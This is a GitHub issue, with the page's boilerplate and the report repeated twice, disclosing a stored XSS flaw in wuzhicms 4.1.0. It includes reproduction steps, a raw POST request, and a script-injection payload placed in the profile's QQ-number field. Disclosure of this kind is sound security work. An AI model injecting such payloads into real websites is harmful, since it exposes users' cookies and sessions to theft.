Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Version: wuzhicms4.1.0
Steps to Reproduce
1、register a account and Login the backstage http://www.demo.com/index.php?m=member&v=login&forward=
2、Go to Account Settings -> Member Centre ->Chinese information-> Ordinary member Fill in the QQ number
POST request data: _```
Host: www.demo.com User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate DNT: 1 Referer: http://www.demo.com/index.php?m=member&f=index&v=profile&set_iframe=1 Cookie: PHPSESSID=v8nkhmh6temnfk1jirivr23ke1; fHl_uid=qUqEY7jyDvKc973ym02avg%3D%3D; fHl_username=Zfe8nonJAmOK66Gucomwqg%3D%3D; fHl_wz_name=Ii4bQlsksKKRfZklFYN9gg%3D%3D; fHl_siteid=o59gAjO%2BhQPT05jg0afPCQ%3D%3D; fHl_qkey=jhyPCFK4SL0ruIZuqOhqgHx%2B1loN5WaW; fHl_truename=test12; fHl_auth=x0e0qbvHyPVCXcNr6x1cjR1pce3wP9r%2BV5HxrY%2Bfk5TdlHxeJPhsu%2ByU9y6GLVW8sRGPkwS5xZHFK0zLNCrjJoIyi3OCKGXjWe%2FHb8669tMjrIqr8wJSSw%3D%3D; fHl__uid=keXJye0FZhJEXy7Dq%2Fxf5Q%3D%3D; fHl__username=E%2FGhNEyEZRWmTN4X1%2BxRnw%3D%3D; fHl__groupid=wjqHhWpCfYTv8ORXF2KTNA%3D%3D; fHl_modelid=10 Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 109
form%5Bqq_10%5D=12345678%22%3E%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E&submit=%E6%8F%90%E4%BA%A4
4.Click Account Settings in Account Management to view
Stored-XSS triggered ...
The text was updated successfully, but these errors were encountered:
No branches or pull requests
Version: wuzhicms4.1.0
Steps to Reproduce
1、register a account and Login the backstage
http://www.demo.com/index.php?m=member&v=login&forward=
2、Go to Account Settings -> Member Centre ->Chinese information-> Ordinary member

Fill in the QQ number
12345678"><script>alert(document.cookie)</script>
POST request data:
_```
POST /index.php?m=member&f=index&v=profile&set_iframe=1 HTTP/1.1
Host: www.demo.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Referer: http://www.demo.com/index.php?m=member&f=index&v=profile&set_iframe=1
Cookie: PHPSESSID=v8nkhmh6temnfk1jirivr23ke1; fHl_uid=qUqEY7jyDvKc973ym02avg%3D%3D; fHl_username=Zfe8nonJAmOK66Gucomwqg%3D%3D; fHl_wz_name=Ii4bQlsksKKRfZklFYN9gg%3D%3D; fHl_siteid=o59gAjO%2BhQPT05jg0afPCQ%3D%3D; fHl_qkey=jhyPCFK4SL0ruIZuqOhqgHx%2B1loN5WaW; fHl_truename=test12; fHl_auth=x0e0qbvHyPVCXcNr6x1cjR1pce3wP9r%2BV5HxrY%2Bfk5TdlHxeJPhsu%2ByU9y6GLVW8sRGPkwS5xZHFK0zLNCrjJoIyi3OCKGXjWe%2FHb8669tMjrIqr8wJSSw%3D%3D; fHl__uid=keXJye0FZhJEXy7Dq%2Fxf5Q%3D%3D; fHl__username=E%2FGhNEyEZRWmTN4X1%2BxRnw%3D%3D; fHl__groupid=wjqHhWpCfYTv8ORXF2KTNA%3D%3D; fHl_modelid=10
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 109
form%5Bqq_10%5D=12345678%22%3E%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E&submit=%E6%8F%90%E4%BA%A4
4.Click Account Settings in Account Management to view
Stored-XSS triggered ...
The text was updated successfully, but these errors were encountered: